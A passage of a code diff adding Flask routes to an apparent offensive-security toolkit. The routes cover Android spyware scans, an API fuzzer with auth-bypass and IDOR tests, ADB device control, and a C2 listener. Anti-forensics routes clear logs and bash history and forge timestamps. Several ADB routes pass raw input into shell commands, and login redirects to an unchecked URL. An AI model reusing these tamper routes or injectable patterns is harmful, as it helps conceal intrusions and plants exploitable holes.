return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().clear_fake_location(serial))
@android_protect_bp.route('/honeypot/rotate-identity', methods=['POST'])
@login_required
def honeypot_rotate_identity():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().rotate_device_identity(serial))
@android_protect_bp.route('/honeypot/fake-fingerprint', methods=['POST'])
@login_required
def honeypot_fake_fingerprint():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().generate_fake_fingerprint(serial))
@android_protect_bp.route('/honeypot/activate', methods=['POST'])
@login_required
def honeypot_activate():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
tier = data.get('tier', 1)
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().honeypot_activate(serial, int(tier)))
@android_protect_bp.route('/honeypot/deactivate', methods=['POST'])
@login_required
def honeypot_deactivate():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().honeypot_deactivate(serial))
@android_protect_bp.route('/honeypot/tracker-stats', methods=['POST'])
@login_required
def honeypot_tracker_stats():
return jsonify(_mgr().get_tracker_stats())
@android_protect_bp.route('/honeypot/update-domains', methods=['POST'])
@login_required
def honeypot_update_domains():
return jsonify(_mgr().update_tracker_domains())
# ── Direct (WebUSB) Mode — Command Relay ─────────────────────────────────────
# Maps operation key → dict of {label: adb_shell_command}
_DIRECT_COMMANDS = {
'scan_quick': {
'packages': 'pm list packages',
'devopt': 'settings get global development_settings_enabled',
'adb_enabled': 'settings get global adb_enabled',
'accessibility': 'settings get secure enabled_accessibility_services',
'admins': 'dumpsys device_policy 2>/dev/null | head -60',
},
'scan_stalkerware': {
'packages': 'pm list packages',
},
'scan_hidden': {
'all': 'pm list packages',
'launcher': 'cmd package query-activities -a android.intent.action.MAIN '
'-c android.intent.category.LAUNCHER 2>/dev/null',
},
'scan_admins': {
'admins': 'dumpsys device_policy 2>/dev/null | head -100',
},
'scan_accessibility': {
'services': 'settings get secure enabled_accessibility_services',
},
'scan_listeners': {
'listeners': 'cmd notification list-listeners 2>/dev/null || dumpsys notification 2>/dev/null | grep -i listener | head -30',
},
'scan_spyware': {
'packages': 'pm list packages',
'processes': 'ps -A 2>/dev/null | head -100',
},
'scan_integrity': {
'secure': 'getprop ro.secure',
'debuggable': 'getprop ro.debuggable',
'fingerprint': 'getprop ro.build.fingerprint',
'devopt': 'settings get global development_settings_enabled',
'kernel': 'cat /proc/version',
},
'scan_processes': {
'ps': 'ps -A 2>/dev/null | head -200',
},
'scan_certs': {
'certs': 'ls /data/misc/user/0/cacerts-added/ 2>/dev/null || echo ""',
},
'scan_network': {
'proxy': 'settings get global http_proxy',
'dns1': 'getprop net.dns1',
'dns2': 'getprop net.dns2',
'private_dns': 'settings get global private_dns_mode',
'private_dns_h': 'settings get global private_dns_specifier',
},
'scan_devopt': {
'devopt': 'settings get global development_settings_enabled',
'adb': 'settings get global adb_enabled',
'adb_wifi': 'settings get global adb_wifi_enabled',
'verifier': 'settings get global package_verifier_enable',
},
'perms_dangerous': {
'packages': 'pm list packages',
},
}
@android_protect_bp.route('/cmd', methods=['POST'])
@login_required
def direct_cmd():
"""Return ADB shell commands for Direct (WebUSB) mode."""
data = request.get_json(silent=True) or {}
op = data.get('op', '').replace('/', '_').replace('-', '_')
cmds = _DIRECT_COMMANDS.get(op)
if cmds:
return jsonify({'commands': cmds, 'supported': True})
return jsonify({'commands': {}, 'supported': False})
@android_protect_bp.route('/parse', methods=['POST'])
@login_required
def direct_parse():
"""Analyze raw ADB shell output from Direct (WebUSB) mode."""
import re
data = request.get_json(silent=True) or {}
op = data.get('op', '').replace('/', '_').replace('-', '_')
raw = data.get('raw', {})
mgr = _mgr()
def _pkgs(output):
"""Parse 'pm list packages' output to a set of package names."""
pkgs = set()
for line in (output or '').strip().split('\n'):
line = line.strip()
if line.startswith('package:'):
pkgs.add(line[8:].split('=')[0].strip())
return pkgs
try:
if op in ('scan_stalkerware', 'scan_quick', 'scan_spyware'):
packages = _pkgs(raw.get('packages', ''))
sigs = mgr._load_signatures()
found = []
for family, fdata in sigs.get('stalkerware', {}).items():
for pkg in fdata.get('packages', []):
if pkg in packages:
found.append({'name': family, 'package': pkg,
'severity': fdata.get('severity', 'high'),
'description': fdata.get('description', '')})
for pkg in packages:
if pkg in set(sigs.get('suspicious_system_packages', [])):
found.append({'name': 'Suspicious System Package', 'package': pkg,
'severity': 'high',
'description': 'Package mimics a system app name'})
matched = {f['package'] for f in found}
result = {'found': found,
'clean_count': len(packages) - len(matched),
'total': len(packages)}
if op == 'scan_quick':
result['developer_options'] = raw.get('devopt', '').strip() == '1'
result['accessibility_active'] = raw.get('accessibility', '').strip() not in ('', 'null')
return jsonify(result)
elif op == 'scan_hidden':
all_pkgs = _pkgs(raw.get('all', ''))
launcher_out = raw.get('launcher', '')
launcher_pkgs = set()
for line in launcher_out.split('\n'):
line = line.strip()
if '/' in line:
launcher_pkgs.add(line.split('/')[0])
hidden = sorted(all_pkgs - launcher_pkgs)
return jsonify({'hidden': hidden, 'total': len(all_pkgs),
'hidden_count': len(hidden)})
elif op == 'scan_admins':
admins_raw = raw.get('admins', '')
active = [l.strip() for l in admins_raw.split('\n')
if 'ComponentInfo' in l or 'admin' in l.lower()]
return jsonify({'admins': active, 'count': len(active)})
elif op == 'scan_accessibility':
raw_val = raw.get('services', '').strip()
services = [s.strip() for s in raw_val.split(':')
if s.strip() and s.strip() != 'null']
return jsonify({'services': services, 'count': len(services)})
elif op == 'scan_listeners':
lines = [l.strip() for l in raw.get('listeners', '').split('\n') if l.strip()]
return jsonify({'listeners': lines, 'count': len(lines)})
elif op == 'scan_integrity':
issues = []
if raw.get('debuggable', '').strip() == '1':
issues.append({'issue': 'Kernel debuggable', 'severity': 'high',
'detail': 'ro.debuggable=1'})
if raw.get('secure', '').strip() == '0':
issues.append({'issue': 'Insecure kernel', 'severity': 'high',
'detail': 'ro.secure=0'})
if raw.get('devopt', '').strip() == '1':
issues.append({'issue': 'Developer options enabled', 'severity': 'medium',
'detail': ''})
return jsonify({'issues': issues,
'fingerprint': raw.get('fingerprint', '').strip(),
'kernel': raw.get('kernel', '').strip()})
elif op == 'scan_processes':
lines = [l for l in raw.get('ps', '').split('\n') if l.strip()]
return jsonify({'processes': lines, 'count': len(lines)})
elif op == 'scan_certs':
certs = [c.strip() for c in raw.get('certs', '').split('\n')
if c.strip() and not c.startswith('ls:')]
return jsonify({'user_certs': certs, 'count': len(certs),
'risk': 'high' if certs else 'none'})
elif op == 'scan_network':
proxy = raw.get('proxy', '').strip()
return jsonify({
'proxy': proxy if proxy not in ('', 'null') else None,
'dns_primary': raw.get('dns1', '').strip(),
'dns_secondary': raw.get('dns2', '').strip(),
'private_dns': raw.get('private_dns', '').strip(),
'private_dns_h': raw.get('private_dns_h', '').strip(),
})
elif op == 'scan_devopt':
def flag(k): return raw.get(k, '').strip() == '1'
issues = []
if flag('devopt'): issues.append({'setting': 'Developer options', 'risk': 'medium'})
if flag('adb'): issues.append({'setting': 'ADB enabled', 'risk': 'medium'})
if flag('adb_wifi'): issues.append({'setting': 'ADB over WiFi', 'risk': 'high'})
if raw.get('verifier', '').strip() == '0':
issues.append({'setting': 'Package verifier disabled', 'risk': 'high'})
return jsonify({'settings': issues})
elif op == 'perms_dangerous':
packages = sorted(_pkgs(raw.get('packages', '')))
return jsonify({'packages': packages, 'count': len(packages),
'note': 'Full permission analysis requires Server mode (needs per-package dumpsys)'})
else:
return jsonify({'error': f'Direct mode parse not implemented for: {op}. Use Server mode.'}), 200
except Exception as exc:
return jsonify({'error': str(exc)})

View File

@@ -0,0 +1,97 @@
"""Anti-Forensics routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
anti_forensics_bp = Blueprint('anti_forensics', __name__, url_prefix='/anti-forensics')
def _get_mgr():
from modules.anti_forensics import get_anti_forensics
return get_anti_forensics()
@anti_forensics_bp.route('/')
@login_required
def index():
return render_template('anti_forensics.html')
@anti_forensics_bp.route('/capabilities')
@login_required
def capabilities():
return jsonify(_get_mgr().get_capabilities())
@anti_forensics_bp.route('/delete/file', methods=['POST'])
@login_required
def delete_file():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().delete.secure_delete_file(
data.get('path', ''), data.get('passes', 3), data.get('method', 'random')
))
@anti_forensics_bp.route('/delete/directory', methods=['POST'])
@login_required
def delete_directory():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().delete.secure_delete_directory(
data.get('path', ''), data.get('passes', 3)
))
@anti_forensics_bp.route('/wipe', methods=['POST'])
@login_required
def wipe_free_space():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().delete.wipe_free_space(data.get('mount_point', '')))
@anti_forensics_bp.route('/timestamps', methods=['GET', 'POST'])
@login_required
def timestamps():
if request.method == 'POST':
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().timestamps.set_timestamps(
data.get('path', ''), data.get('accessed'), data.get('modified')
))
return jsonify(_get_mgr().timestamps.get_timestamps(request.args.get('path', '')))
@anti_forensics_bp.route('/timestamps/clone', methods=['POST'])
@login_required
def clone_timestamps():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().timestamps.clone_timestamps(data.get('source', ''), data.get('target', '')))
@anti_forensics_bp.route('/timestamps/randomize', methods=['POST'])
@login_required
def randomize_timestamps():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().timestamps.randomize_timestamps(data.get('path', '')))
@anti_forensics_bp.route('/logs')
@login_required
def list_logs():
return jsonify(_get_mgr().logs.list_logs())
@anti_forensics_bp.route('/logs/clear', methods=['POST'])
@login_required
def clear_log():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().logs.clear_log(data.get('path', '')))
@anti_forensics_bp.route('/logs/remove', methods=['POST'])
@login_required
def remove_entries():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().logs.remove_entries(data.get('path', ''), data.get('pattern', '')))
@anti_forensics_bp.route('/logs/history', methods=['POST'])
@login_required
def clear_history():
return jsonify(_get_mgr().logs.clear_bash_history())
@anti_forensics_bp.route('/scrub/image', methods=['POST'])
@login_required
def scrub_image():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().scrubber.scrub_image(data.get('path', ''), data.get('output')))
@anti_forensics_bp.route('/scrub/pdf', methods=['POST'])
@login_required
def scrub_pdf():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().scrubber.scrub_pdf_metadata(data.get('path', '')))

95
web/routes/api_fuzzer.py Normal file
View File

@@ -0,0 +1,95 @@
"""API Fuzzer routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
api_fuzzer_bp = Blueprint('api_fuzzer', __name__, url_prefix='/api-fuzzer')
def _get_fuzzer():
from modules.api_fuzzer import get_api_fuzzer
return get_api_fuzzer()
@api_fuzzer_bp.route('/')
@login_required
def index():
return render_template('api_fuzzer.html')
@api_fuzzer_bp.route('/discover', methods=['POST'])
@login_required
def discover():
data = request.get_json(silent=True) or {}
job_id = _get_fuzzer().discover_endpoints(
data.get('base_url', ''), data.get('custom_paths')
)
return jsonify({'ok': bool(job_id), 'job_id': job_id})
@api_fuzzer_bp.route('/openapi', methods=['POST'])
@login_required
def parse_openapi():
data = request.get_json(silent=True) or {}
return jsonify(_get_fuzzer().parse_openapi(data.get('url', '')))
@api_fuzzer_bp.route('/fuzz', methods=['POST'])
@login_required
def fuzz():
data = request.get_json(silent=True) or {}
return jsonify(_get_fuzzer().fuzz_params(
url=data.get('url', ''),
method=data.get('method', 'GET'),
params=data.get('params', {}),
payload_type=data.get('payload_type', 'type_confusion')
))
@api_fuzzer_bp.route('/auth/bypass', methods=['POST'])
@login_required
def auth_bypass():
data = request.get_json(silent=True) or {}
return jsonify(_get_fuzzer().test_auth_bypass(data.get('url', '')))
@api_fuzzer_bp.route('/auth/idor', methods=['POST'])
@login_required
def idor():
data = request.get_json(silent=True) or {}
return jsonify(_get_fuzzer().test_idor(
data.get('url_template', ''),
(data.get('start_id', 1), data.get('end_id', 10)),
data.get('auth_token')
))
@api_fuzzer_bp.route('/ratelimit', methods=['POST'])
@login_required
def rate_limit():
data = request.get_json(silent=True) or {}
return jsonify(_get_fuzzer().test_rate_limit(
data.get('url', ''), data.get('count', 50), data.get('method', 'GET')
))
@api_fuzzer_bp.route('/graphql/introspect', methods=['POST'])
@login_required
def graphql_introspect():
data = request.get_json(silent=True) or {}
return jsonify(_get_fuzzer().graphql_introspect(data.get('url', '')))
@api_fuzzer_bp.route('/graphql/depth', methods=['POST'])
@login_required
def graphql_depth():
data = request.get_json(silent=True) or {}
return jsonify(_get_fuzzer().graphql_depth_test(data.get('url', ''), data.get('max_depth', 10)))
@api_fuzzer_bp.route('/analyze', methods=['POST'])
@login_required
def analyze():
data = request.get_json(silent=True) or {}
return jsonify(_get_fuzzer().analyze_response(data.get('url', ''), data.get('method', 'GET')))
@api_fuzzer_bp.route('/auth/set', methods=['POST'])
@login_required
def set_auth():
data = request.get_json(silent=True) or {}
_get_fuzzer().set_auth(data.get('type', ''), data.get('value', ''), data.get('header', 'Authorization'))
return jsonify({'ok': True})
@api_fuzzer_bp.route('/job/<job_id>')
@login_required
def job_status(job_id):
job = _get_fuzzer().get_job(job_id)
return jsonify(job or {'error': 'Job not found'})

261
web/routes/archon.py Normal file
View File

@@ -0,0 +1,261 @@
"""Archon route — privileged Android device management via ArchonServer."""
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
archon_bp = Blueprint('archon', __name__, url_prefix='/archon')
@archon_bp.route('/')
@login_required
def index():
return render_template('archon.html')
@archon_bp.route('/shell', methods=['POST'])
@login_required
def shell():
"""Run a shell command on the connected device via ADB."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
command = data.get('command', '').strip()
if not command:
return jsonify({'error': 'No command'})
# Find connected device
devices = mgr.adb_devices()
if not devices:
return jsonify({'stdout': '', 'stderr': 'No ADB device connected', 'exit_code': -1})
serial = devices[0].get('serial', '')
result = mgr.adb_shell(serial, command)
return jsonify({
'stdout': result.get('output', ''),
'stderr': '',
'exit_code': result.get('returncode', -1),
})
@archon_bp.route('/pull', methods=['POST'])
@login_required
def pull():
"""Pull a file from device to AUTARCH server."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
remote = data.get('remote', '').strip()
if not remote:
return jsonify({'error': 'No remote path'})
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No ADB device connected'})
serial = devices[0].get('serial', '')
result = mgr.adb_pull(serial, remote)
return jsonify(result)
@archon_bp.route('/push', methods=['POST'])
@login_required
def push():
"""Push a file from AUTARCH server to device."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
local = data.get('local', '').strip()
remote = data.get('remote', '').strip()
if not local or not remote:
return jsonify({'error': 'Missing local or remote path'})
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No ADB device connected'})
serial = devices[0].get('serial', '')
result = mgr.adb_push(serial, local, remote)
return jsonify(result)
@archon_bp.route('/packages', methods=['GET'])
@login_required
def packages():
"""List installed packages."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No device'})
serial = devices[0].get('serial', '')
show_system = request.args.get('system', 'false') == 'true'
flag = '-f' if not show_system else '-f -s'
result = mgr.adb_shell(serial, f'pm list packages {flag}')
output = result.get('output', '')
pkgs = []
for line in output.strip().split('\n'):
if line.startswith('package:'):
# format: package:/path/to/apk=com.package.name
parts = line[8:].split('=', 1)
if len(parts) == 2:
pkgs.append({'apk': parts[0], 'package': parts[1]})
else:
pkgs.append({'apk': '', 'package': parts[0]})
return jsonify({'packages': pkgs, 'count': len(pkgs)})
@archon_bp.route('/grant', methods=['POST'])
@login_required
def grant_permission():
"""Grant a permission to a package."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
permission = data.get('permission', '').strip()
if not package or not permission:
return jsonify({'error': 'Missing package or permission'})
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No device'})
serial = devices[0].get('serial', '')
result = mgr.adb_shell(serial, f'pm grant {package} {permission}')
return jsonify({
'success': result.get('returncode', -1) == 0,
'output': result.get('output', ''),
})
@archon_bp.route('/revoke', methods=['POST'])
@login_required
def revoke_permission():
"""Revoke a permission from a package."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
permission = data.get('permission', '').strip()
if not package or not permission:
return jsonify({'error': 'Missing package or permission'})
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No device'})
serial = devices[0].get('serial', '')
result = mgr.adb_shell(serial, f'pm revoke {package} {permission}')
return jsonify({
'success': result.get('returncode', -1) == 0,
'output': result.get('output', ''),
})
@archon_bp.route('/app-ops', methods=['POST'])
@login_required
def app_ops():
"""Set an appops permission for a package."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
op = data.get('op', '').strip()
mode = data.get('mode', '').strip() # allow, deny, ignore, default
if not package or not op or not mode:
return jsonify({'error': 'Missing package, op, or mode'})
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No device'})
serial = devices[0].get('serial', '')
result = mgr.adb_shell(serial, f'cmd appops set {package} {op} {mode}')
return jsonify({
'success': result.get('returncode', -1) == 0,
'output': result.get('output', ''),
})
@archon_bp.route('/settings-cmd', methods=['POST'])
@login_required
def settings_cmd():
"""Read or write Android system settings."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
namespace = data.get('namespace', 'system').strip() # system, secure, global
action = data.get('action', 'get').strip() # get, put
key = data.get('key', '').strip()
value = data.get('value', '').strip()
if namespace not in ('system', 'secure', 'global'):
return jsonify({'error': 'Invalid namespace'})
if not key:
return jsonify({'error': 'Missing key'})
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No device'})
serial = devices[0].get('serial', '')
if action == 'put' and value:
cmd = f'settings put {namespace} {key} {value}'
else:
cmd = f'settings get {namespace} {key}'
result = mgr.adb_shell(serial, cmd)
return jsonify({
'value': result.get('output', '').strip(),
'exit_code': result.get('returncode', -1),
})
@archon_bp.route('/file-list', methods=['POST'])
@login_required
def file_list():
"""List files in a directory on the device."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
path = data.get('path', '/').strip()
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No device'})
serial = devices[0].get('serial', '')
result = mgr.adb_shell(serial, f'ls -la {path}')
return jsonify({
'path': path,
'output': result.get('output', ''),
'exit_code': result.get('returncode', -1),
})
@archon_bp.route('/file-copy', methods=['POST'])
@login_required
def file_copy():
"""Copy a file on the device (elevated shell can access protected paths)."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
src = data.get('src', '').strip()
dst = data.get('dst', '').strip()
if not src or not dst:
return jsonify({'error': 'Missing src or dst'})
devices = mgr.adb_devices()
if not devices:
return jsonify({'error': 'No device'})
serial = devices[0].get('serial', '')
result = mgr.adb_shell(serial, f'cp -r {src} {dst}')
return jsonify({
'success': result.get('returncode', -1) == 0,
'output': result.get('output', ''),
})

61
web/routes/auth_routes.py Normal file
View File

@@ -0,0 +1,61 @@
"""Auth routes - login, logout, password change"""
from flask import Blueprint, render_template, request, redirect, url_for, session, flash, jsonify
from web.auth import check_password, hash_password, load_credentials, save_credentials
auth_bp = Blueprint('auth', __name__)
@auth_bp.route('/login', methods=['GET', 'POST'])
def login():
if 'user' in session:
return redirect(url_for('dashboard.index'))
if request.method == 'POST':
username = request.form.get('username', '')
password = request.form.get('password', '')
creds = load_credentials()
if username == creds['username'] and check_password(password, creds['password']):
session['user'] = username
if creds.get('force_change'):
flash('Please change the default password.', 'warning')
return redirect(url_for('settings.index'))
next_url = request.args.get('next', url_for('dashboard.index'))
return redirect(next_url)
else:
flash('Invalid credentials.', 'error')
return render_template('login.html')
@auth_bp.route('/api/login', methods=['POST'])
def api_login():
"""JSON login endpoint for the companion app."""
data = request.get_json(silent=True) or {}
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return jsonify({'ok': False, 'error': 'Missing username or password'}), 400
creds = load_credentials()
if username == creds['username'] and check_password(password, creds['password']):
session['user'] = username
return jsonify({'ok': True, 'user': username})
else:
return jsonify({'ok': False, 'error': 'Invalid credentials'}), 401
@auth_bp.route('/api/check', methods=['GET'])
def api_check():
"""Check if the current session is authenticated."""
if 'user' in session:
return jsonify({'ok': True, 'user': session['user']})
return jsonify({'ok': False}), 401
@auth_bp.route('/logout')
def logout():
session.clear()
return redirect(url_for('auth.login'))

241
web/routes/autonomy.py Normal file
View File

@@ -0,0 +1,241 @@
"""Autonomy routes — daemon control, model management, rules CRUD, activity log."""
import json
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
from web.auth import login_required
autonomy_bp = Blueprint('autonomy', __name__, url_prefix='/autonomy')
def _get_daemon():
from core.autonomy import get_autonomy_daemon
return get_autonomy_daemon()
def _get_router():
from core.model_router import get_model_router
return get_model_router()
# ==================== PAGES ====================
@autonomy_bp.route('/')
@login_required
def index():
return render_template('autonomy.html')
# ==================== DAEMON CONTROL ====================
@autonomy_bp.route('/status')
@login_required
def status():
daemon = _get_daemon()
router = _get_router()
return jsonify({
'daemon': daemon.status,
'models': router.status,
})
@autonomy_bp.route('/start', methods=['POST'])
@login_required
def start():
daemon = _get_daemon()
ok = daemon.start()
return jsonify({'success': ok, 'status': daemon.status})
@autonomy_bp.route('/stop', methods=['POST'])
@login_required
def stop():
daemon = _get_daemon()
daemon.stop()
return jsonify({'success': True, 'status': daemon.status})
@autonomy_bp.route('/pause', methods=['POST'])
@login_required
def pause():
daemon = _get_daemon()
daemon.pause()
return jsonify({'success': True, 'status': daemon.status})
@autonomy_bp.route('/resume', methods=['POST'])
@login_required
def resume():
daemon = _get_daemon()
daemon.resume()
return jsonify({'success': True, 'status': daemon.status})
# ==================== MODELS ====================
@autonomy_bp.route('/models')
@login_required
def models():
return jsonify(_get_router().status)
@autonomy_bp.route('/models/load/<tier>', methods=['POST'])
@login_required
def models_load(tier):
from core.model_router import ModelTier
try:
mt = ModelTier(tier)
except ValueError:
return jsonify({'error': f'Invalid tier: {tier}'}), 400
ok = _get_router().load_tier(mt, verbose=True)
return jsonify({'success': ok, 'models': _get_router().status})
@autonomy_bp.route('/models/unload/<tier>', methods=['POST'])
@login_required
def models_unload(tier):
from core.model_router import ModelTier
try:
mt = ModelTier(tier)
except ValueError:
return jsonify({'error': f'Invalid tier: {tier}'}), 400
_get_router().unload_tier(mt)
return jsonify({'success': True, 'models': _get_router().status})
# ==================== RULES ====================
@autonomy_bp.route('/rules')
@login_required
def rules_list():
daemon = _get_daemon()
rules = daemon.rules_engine.get_all_rules()
return jsonify({'rules': [r.to_dict() for r in rules]})
@autonomy_bp.route('/rules', methods=['POST'])
@login_required
def rules_create():
from core.rules import Rule
data = request.get_json(silent=True) or {}
rule = Rule.from_dict(data)
daemon = _get_daemon()
daemon.rules_engine.add_rule(rule)
return jsonify({'success': True, 'rule': rule.to_dict()})
@autonomy_bp.route('/rules/<rule_id>', methods=['PUT'])
@login_required
def rules_update(rule_id):
data = request.get_json(silent=True) or {}
daemon = _get_daemon()
rule = daemon.rules_engine.update_rule(rule_id, data)
if rule:
return jsonify({'success': True, 'rule': rule.to_dict()})
return jsonify({'error': 'Rule not found'}), 404
@autonomy_bp.route('/rules/<rule_id>', methods=['DELETE'])
@login_required
def rules_delete(rule_id):
daemon = _get_daemon()
ok = daemon.rules_engine.delete_rule(rule_id)
return jsonify({'success': ok})
@autonomy_bp.route('/templates')
@login_required
def rule_templates():
"""Pre-built rule templates for common scenarios."""
templates = [
{
'name': 'Auto-Block Port Scanners',
'description': 'Block IPs that trigger port scan detection',
'conditions': [{'type': 'port_scan_detected'}],
'actions': [
{'type': 'block_ip', 'ip': '$source_ip'},
{'type': 'alert', 'message': 'Blocked scanner: $source_ip'},
],
'priority': 10,
'cooldown_seconds': 300,
},
{
'name': 'DDoS Auto-Response',
'description': 'Rate-limit top talkers during DDoS attacks',
'conditions': [{'type': 'ddos_detected'}],
'actions': [
{'type': 'rate_limit_ip', 'ip': '$source_ip', 'rate': '10/s'},
{'type': 'alert', 'message': 'DDoS mitigated: $attack_type from $source_ip'},
],
'priority': 5,
'cooldown_seconds': 60,
},
{
'name': 'High Threat Alert',
'description': 'Send alert when threat score exceeds threshold',
'conditions': [{'type': 'threat_score_above', 'value': 60}],
'actions': [
{'type': 'alert', 'message': 'Threat score: $threat_score ($threat_level)'},
],
'priority': 20,
'cooldown_seconds': 120,
},
{
'name': 'New Port Investigation',
'description': 'Use SAM agent to investigate new listening ports',
'conditions': [{'type': 'new_listening_port'}],
'actions': [
{'type': 'escalate_to_lam', 'task': 'Investigate new listening port $new_port (PID $suspicious_pid). Determine if this is legitimate or suspicious.'},
],
'priority': 30,
'cooldown_seconds': 300,
},
{
'name': 'Bandwidth Spike Alert',
'description': 'Alert on unusual inbound bandwidth',
'conditions': [{'type': 'bandwidth_rx_above_mbps', 'value': 100}],
'actions': [
{'type': 'alert', 'message': 'Bandwidth spike detected (>100 Mbps RX)'},
],
'priority': 25,
'cooldown_seconds': 60,
},
]
return jsonify({'templates': templates})
# ==================== ACTIVITY LOG ====================
@autonomy_bp.route('/activity')
@login_required
def activity():
limit = request.args.get('limit', 50, type=int)
offset = request.args.get('offset', 0, type=int)
daemon = _get_daemon()
entries = daemon.get_activity(limit=limit, offset=offset)
return jsonify({'entries': entries, 'total': daemon.get_activity_count()})
@autonomy_bp.route('/activity/stream')
@login_required
def activity_stream():
"""SSE stream of live activity entries."""
daemon = _get_daemon()
q = daemon.subscribe()
def generate():
try:
while True:
try:
data = q.get(timeout=30)
yield f'data: {data}\n\n'
except Exception:
# Send keepalive
yield f'data: {{"type":"keepalive"}}\n\n'
finally:
daemon.unsubscribe(q)
return Response(
stream_with_context(generate()),
mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'},
)

76
web/routes/ble_scanner.py Normal file
View File

@@ -0,0 +1,76 @@
"""BLE Scanner routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
ble_scanner_bp = Blueprint('ble_scanner', __name__, url_prefix='/ble')
def _get_scanner():
from modules.ble_scanner import get_ble_scanner
return get_ble_scanner()
@ble_scanner_bp.route('/')
@login_required
def index():
return render_template('ble_scanner.html')
@ble_scanner_bp.route('/status')
@login_required
def status():
return jsonify(_get_scanner().get_status())
@ble_scanner_bp.route('/scan', methods=['POST'])
@login_required
def scan():
data = request.get_json(silent=True) or {}
return jsonify(_get_scanner().scan(data.get('duration', 10.0)))
@ble_scanner_bp.route('/devices')
@login_required
def devices():
return jsonify(_get_scanner().get_devices())
@ble_scanner_bp.route('/device/<address>')
@login_required
def device_detail(address):
return jsonify(_get_scanner().get_device_detail(address))
@ble_scanner_bp.route('/read', methods=['POST'])
@login_required
def read_char():
data = request.get_json(silent=True) or {}
return jsonify(_get_scanner().read_characteristic(data.get('address', ''), data.get('uuid', '')))
@ble_scanner_bp.route('/write', methods=['POST'])
@login_required
def write_char():
data = request.get_json(silent=True) or {}
value = bytes.fromhex(data.get('data_hex', '')) if data.get('data_hex') else data.get('data', '').encode()
return jsonify(_get_scanner().write_characteristic(data.get('address', ''), data.get('uuid', ''), value))
@ble_scanner_bp.route('/vulnscan', methods=['POST'])
@login_required
def vuln_scan():
data = request.get_json(silent=True) or {}
return jsonify(_get_scanner().vuln_scan(data.get('address')))
@ble_scanner_bp.route('/track', methods=['POST'])
@login_required
def track():
data = request.get_json(silent=True) or {}
return jsonify(_get_scanner().track_device(data.get('address', '')))
@ble_scanner_bp.route('/track/<address>/history')
@login_required
def tracking_history(address):
return jsonify(_get_scanner().get_tracking_history(address))
@ble_scanner_bp.route('/scan/save', methods=['POST'])
@login_required
def save_scan():
data = request.get_json(silent=True) or {}
return jsonify(_get_scanner().save_scan(data.get('name')))
@ble_scanner_bp.route('/scans')
@login_required
def list_scans():
return jsonify(_get_scanner().list_scans())

134
web/routes/c2_framework.py Normal file
View File

@@ -0,0 +1,134 @@
"""C2 Framework — web routes for command & control."""
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
c2_framework_bp = Blueprint('c2_framework', __name__)
def _svc():
from modules.c2_framework import get_c2_server
return get_c2_server()
@c2_framework_bp.route('/c2/')
@login_required
def index():
return render_template('c2_framework.html')
# ── Listeners ─────────────────────────────────────────────────────────────────
@c2_framework_bp.route('/c2/listeners', methods=['GET'])
@login_required
def list_listeners():
return jsonify({'ok': True, 'listeners': _svc().list_listeners()})
@c2_framework_bp.route('/c2/listeners', methods=['POST'])
@login_required
def start_listener():
data = request.get_json(silent=True) or {}
return jsonify(_svc().start_listener(
name=data.get('name', 'default'),
host=data.get('host', '0.0.0.0'),
port=data.get('port', 4444),
))
@c2_framework_bp.route('/c2/listeners/<name>', methods=['DELETE'])
@login_required
def stop_listener(name):
return jsonify(_svc().stop_listener(name))
# ── Agents ────────────────────────────────────────────────────────────────────
@c2_framework_bp.route('/c2/agents', methods=['GET'])
@login_required
def list_agents():
return jsonify({'ok': True, 'agents': _svc().list_agents()})
@c2_framework_bp.route('/c2/agents/<agent_id>', methods=['DELETE'])
@login_required
def remove_agent(agent_id):
return jsonify(_svc().remove_agent(agent_id))
# ── Tasks ─────────────────────────────────────────────────────────────────────
